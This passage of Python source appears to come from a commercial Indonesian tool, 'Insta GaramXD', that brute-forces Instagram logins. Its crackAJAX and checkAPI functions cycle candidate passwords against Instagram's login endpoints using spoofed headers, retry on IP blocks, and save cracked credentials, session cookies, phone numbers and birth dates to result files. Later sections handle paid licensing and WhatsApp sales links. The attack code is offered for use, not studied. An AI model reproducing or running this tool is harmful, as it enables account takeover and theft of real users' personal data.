  1005.     def crackAJAX(self,user,pas):
  1006.         global loop,success,checkpoint
  1007.         ses = requests.Session()
  1008.         uas = random.choice(oppo)
  1009.         prog.update(des,description=f'\r[deep_white]Ajax V2 {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  1010.         prog.advance(des)
  1011.         try:
  1012.             for pw in pas:
  1013.                 xxcteam = random.randint(1000000000, 99999999999)
  1014.                 jam = calendar.timegm(current_GMT)
  1015.                 p = ses.get(str(random.choice([
  1016.                       "https://www.secure.instagram.com/accounts/login/",
  1017.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login=&",
  1018.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login&hl=en",
  1019.                       "https://www.secure.instagram.com/accounts/onetap/",
  1020.                       "https://www.secure.instagram.com/accounts/onetap/?next=%2F",
  1021.                       "https://www.secure.instagram.com/accounts/onetap/?next=/"
  1022.                       ])))
  1023.                 head = {
  1024.                       "Host": "www.secure.instagram.com",
  1025.                       "Connection": "keep-alive",
  1026.                       "Content-Length": "318",
  1027.                       "X-IG-WWW-Claim": "0",
  1028.                       "X-Instagram-AJAX": "9080db6b6a51",
  1029.                       "Content-Type": "application/x-www-form-urlencoded",
  1030.                       "Accept": "*/*",
  1031.                       "X-Requested-With": "XMLHttpRequest",
  1032.                       "X-ASBD-ID": "198387",
  1033.                       "User-Agent": uas,
  1034.                       "X-CSRFToken": p.cookies['csrftoken'],
  1035.                       "X-IG-App-ID": "1217981644879628",
  1036.                       "Origin": "https://www.secure.instagram.com",
  1037.                       "Sec-Fetch-Site": "same-origin",
  1038.                       "Sec-Fetch-Mode": "cors",
  1039.                       "Sec-Fetch-Dest": "empty",
  1040.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1041.                       "Accept-Encoding": "gzip, deflate",
  1042.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1043.                       }
  1044.                 head2 = {
  1045.                       "Host": "www.secure.instagram.com",
  1046.                       "Connection": "keep-alive",
  1047.                       "Upgrade-Insecure-Requests": "1",
  1048.                       "User-Agent": uas,
  1049.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1050.                       "dnt": "1",
  1051.                       "X-Requested-With": "mark.via.gp",
  1052.                       "Sec-Fetch-Site": "none",
  1053.                       "Sec-Fetch-Mode": "navigate",
  1054.                       "Sec-Fetch-User": "?1",
  1055.                       "Sec-Fetch-Dest": "document",
  1056.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1057.                       "Accept-Encoding": "gzip, deflate",
  1058.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1059.                       }
  1060.                 param = {
  1061.                       "Host": "www.secure.instagram.com",
  1062.                       "Connection": "keep-alive",
  1063.                       "Cache-Control": "max-age=0",
  1064.                       "Upgrade-Insecure-Requests": "1",
  1065.                       "User-Agent": uas,
  1066.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1067.                       "X-Requested-With": "mark.via.gp",
  1068.                       "Sec-Fetch-Site": "none",
  1069.                       "Sec-Fetch-Mode": "navigate",
  1070.                       "Sec-Fetch-User": "?1",
  1071.                       "Sec-Fetch-Dest": "document",
  1072.                       "Referer": f"https://www.secure.instagram.com/"+user+"/",
  1073.                       "Accept-Encoding": "gzip, deflate",
  1074.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1075.                       }
  1076.                 data = {
  1077.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{jam}:{pw}",
  1078.                       "username":user,
  1079.                       "queryParams":"{}",
  1080.                       "optIntoOneTap":"false",
  1081.                       "stopDeletionNonce":"",
  1082.                       "trustedDeviceRecords":"{}"
  1083.                       }
  1084.                 dateku = str(random.choice([param, head2]))
  1085.                 respon=ses.post("https://www.secure.instagram.com/accounts/login/ajax/",headers = head, data = data, allow_redirects = dateku)
  1086.                 xc_team=json.loads(respon.text)
  1087.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  1088.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1089.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  1090.                     nomor, tanggal = self.ingfoocu(cookie)
  1091.                     tree = Tree("")
  1092.                     tree.add(f"{P2}nama akun : {H2}{nama}").add(f"{H2}{user}|{pw}")
  1093.                     tree.add(f"{P2}followers : {H2}{pengikut}")
  1094.                     tree.add(f"{P2}following : {H2}{mengikut}")
  1095.                     tree.add(f"{P2}nomor hp  : {H2}{nomor}")
  1096.                     tree.add(f"{P2}postingan : {H2}{postingan}")
  1097.                     tree.add(f"{P2}tanggal lahir : {H2}{tanggal}").add(f"{N2}{cookie}{P2}")
  1098.                     prints(tree)
  1099.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1100.                     success.append(user)
  1101.                     break
  1102.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
  1103.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1104.                     tree = Tree("")
  1105.                     tree.add(f"{P2}nama akun : {K2}{nama}")
  1106.                     tree.add(f"{P2}username  : {K2}{user}")
  1107.                     tree.add(f"{P2}password  : {K2}{pw}")
  1108.                     tree.add(f"{P2}followers : {K2}{pengikut}")
  1109.                     tree.add(f"{P2}following : {K2}{mengikut}")
  1110.                     tree.add(f"{P2}postingan : {K2}{postingan}\n")
  1111.                     prints(tree)
  1112.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1113.                     checkpoint.append(user)
  1114.                     break
  1115.                 elif 'ip_block' in str(respon.text):
  1116.                     prog.update(des,description=f'\r[deep_white][red] spam ip {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  1117.                     prog.advance(des)
  1118.                     time.sleep(10)
  1119.                     self.crackAJAX(user,pas)
  1120.  
  1121.                 else:
  1122.                     continue
  1123.             loop+=1
  1124.         except:
  1125.             self.crackAJAX(user,pas)
  1126.    
  1127.     def checkAPI(self,usr,pwd):
  1128.         try:
  1129.             ts = calendar.timegm(current_GMT)
  1130.             xyaaXD = random.randint(1000000000, 99999999999)
  1131.             ses = requests.Session()
  1132.             ts = calendar.timegm(current_GMT)
  1133.             sys.stdout.write(f'\r{P}[{H}#{P}] {H}cheking {N}{usr}{P}');sys.stdout.flush()
  1134.             response = ses.get(f"https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en").text
  1135.             token = re.search('name="csrfmiddlewaretoken" value="(\\w+)"/>', str(response)).group(1)
  1136.             head = {
  1137.                     'Host': 'z-p42.www.instagram.com',
  1138.                     'Connection': 'keep-alive',
  1139.                     'Content-Length': '296',
  1140.                     'Cache-Control': 'max-age=0',
  1141.                     'Upgrade-Insecure-Requests': '1',
  1142.                     'User-Agent': 'Mozilla/5.0 (Linux; Android 10; RMX2185 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36',
  1143.                     'Origin': 'https://z-p42.www.instagram.com',
  1144.                     'Content-Type': 'application/x-www-form-urlencoded',
  1145.                     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1146.                     'dnt': '1',
  1147.                     'X-Requested-With': 'mark.via.gp',
  1148.                     'Sec-Fetch-Site': 'same-origin',
  1149.                     'Sec-Fetch-Mode': 'navigate',
  1150.                     'Sec-Fetch-User': '?1',
  1151.                     'Sec-Fetch-Dest': 'document',
  1152.                     'Referer': 'https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en',
  1153.                     'Accept-Encoding': 'gzip, deflate',
  1154.                     'Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  1155.                     }
  1156.             param={
  1157.                     'csrfmiddlewaretoken': token,
  1158.                     'username': usr,
  1159.                     'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{ts}:{pwd}'
  1160.                     }
  1161.             respon=ses.post("https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en", headers = head, data = param, allow_redirects=True)
  1162.             if "userId" in str(respon.text) or "sessionid" in ses.cookies.get_dict():
  1163.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1164.                 print("OK")
  1165.                 print(f"{H}{usr} {P}| {H}{pwd}{P}\n")
  1166.                 open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1167.             elif 'href="https://www.instagram.com/challenge/action/"' in str(respon.text):
  1168.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1169.                 print("CP")
  1170.                 print(f"{K}{usr} {P}| {K}{pwd}{P}\n")
  1171.                 open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1172.             elif 'ip_block' in str(respon.text):
  1173.                 sys.stdout.write(f'\r {P}[{M}#{P}] {M}spamIP {N}{len(usr)}{P}');sys.stdout.flush()
  1174.                 time.sleep(5)
  1175.                 self.checkAPI(usr, pwd)
  1176.         except:
  1177.             self.checkAPI(usr,pwd)
  1178.  
  1179. day=datetime.now().strftime("%d-%b-%Y")
  1180. nyMnD = 5
  1181. nyMxD = 10
  1182. current_GMT = time.gmtime(time.time())
  1183.  
  1184. ###----------[ MASUK LISENSI ]---------- ###
  1185. def key():
  1186.     os.system("clear")
  1187.     banner()
  1188.     prints(Panel(f"{P2}silahkan masukan lisensi tools agar bisa masuk ke tools Insta GaramXD\njika anda belum mempunyai lisensi ketik {H2}beli {P2}untuk melihat harga lisensi",style=f"green"))
  1189.     key = input(f"{P}[{B}?{P}] masukan lisensi : {H}")
  1190.     if key in ["beli","Beli","BELI"]:beli_bang()
  1191.     try:ses = requests.Session();asu = ses.get("https://app.cryptolens.io/api/key/Activate?token=WyI0MTg4NjA0OCIsImREOENPZmxhWjhTWFJsVlh2L2xkazlVY1gyL3ZPN3FqOGl6ZUJFMTciXQ==&ProductId=19373&Key=%s&Sign=True"%(key)).json()['licenseKey']['key'];open("data/lisensi.txt","w").write(key);prints(Panel(f"{H2}selamat lisensi yang anda masukan terdaftar ke server Insta Garam XD",width=80,padding=(0,6),style=f"green"));time.sleep(3); __cek__().cekCOK()
  1192.     except KeyError:
  1193.         prints(Panel(f"{P2} lisensi yang anda masukan tidak terdaftar silahkan beli terlebih dahulu",width=80,padding=(0,1),style=f"green"));os.system("xdg-open https://wa.me/+6283192869915?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1194.  
  1195. ###----------[ CEK LISENSI ]---------- ###             
  1196. def cek():
  1197.     try:x=open("data/lisensi.txt","r").read()
  1198.     except FileNotFoundError:key()
  1199.     try:x = requests.get("https://app.cryptolens.io/api/key/Activate?token=WyI0MTg4NjA0OCIsImREOENPZmxhWjhTWFJsVlh2L2xkazlVY1gyL3ZPN3FqOGl6ZUJFMTciXQ==&ProductId=19373&Key=%s"%(x)).json()['licenseKey']['key']; __cek__().cekCOK()
  1200.     except KeyError:
  1201.         prints(Panel(f"{P2}lisensi kamu sudah kedaluwarsa silahkan beli lisensi ke admin",width=80,padding=(0,6),style=f"{color_table}"));os.system("rm -rf data/lisensi.txt");os.system("xdg-open https://wa.me/+6283192869915?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1202.  
  1203. ###----------[ BUY LISENSI ]---------- ### 
  1204. def beli_bang():
  1205.     prints(Panel(f"{P2}[{H2}01{P2}]. 1 minggu {H2}20.000 {P2}max pemakaian 1 device\n{P2}[{H2}02{P2}]. 1 bulan {H2}80.000{P2} max pemakaian 5 device\n{P2}[{H2}03{P2}]. open source full update {H2}350.000",width=80,padding=(0,15),style=f"green"))
  1206.     zxc = input(f"{P}[{B}?{P}] pilih lisensi : {H}")
  1207.     if zxc in [""]:print(f"{P}[{M}!{P}] pilih yang bener broo jangan kosong");time.sleep(3);cek_lisensi_aktif()
  1208.     elif zxc in ["1","01"]:jalan(f"{P}[{M}!{P}] anda akan di arahkan ke WhatsApp");os.system("xdg-open https://wa.me/+6283192869915?text=assalamualaikum+bang+mau+beli+lisensi+1+minggu");time.sleep(2);exit()
  1209.     elif zxc in ["2","02"]:jalan(f"{P}[{M}!{P}] anda akan di arahkan ke WhatsApp");os.system("xdg-open https://wa.me/+6283192869915?text=assalamualaikum+bang+mau+beli+lisensi+1+bulan");time.sleep(2);exit()
  1210.     elif zxc in ["3","03"]:jalan(f"{P}[{M}!{P}] anda akan di arahkan ke WhatsApp");os.system("xdg-open https://wa.me/+6283192869915?text=assalamualaikum+bang+mau+beli+lisensi+full+source");time.sleep(2);exit()
  1211.     else:print(f"{P}[{M}!{P}] ngetik apaan lu ngab");time.sleep(3);cek_lisensi_aktif()
  1212.  
  1213. ###----------[ CEK LISENSI AKTIF ]---------- ###
  1214. def cek_lisensi_aktif():
  1215.     try:xz = open("data/lisensi.txt","r").read()
  1216.     except FileNotFoundError:key()
  1217.     os.system("clear");cek()
  1218.  
  1219.  
  1220. if __name__=='__main__':
  1221.     lisensiku.append("sukses")
  1222.     try:
  1223.         with requests.Session() as ses:
  1224.              ko = ses.get('https://pastebin.com/raw/0cWckNrU').json()
  1225.              HARIS.update(ko)
  1226.              ki = ses.get('https://pastebin.com/raw/9GybVKaq').json()
  1227.              HARIS1.update(ki)
  1228.              os.system("git pull")
  1229.              key()
  1230.     except requests.exceptions.ConnectionError:
  1231.         print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
  1232.         time.sleep(0.03)
  1233.         exit()
Add Comment
Please, Sign In to add comment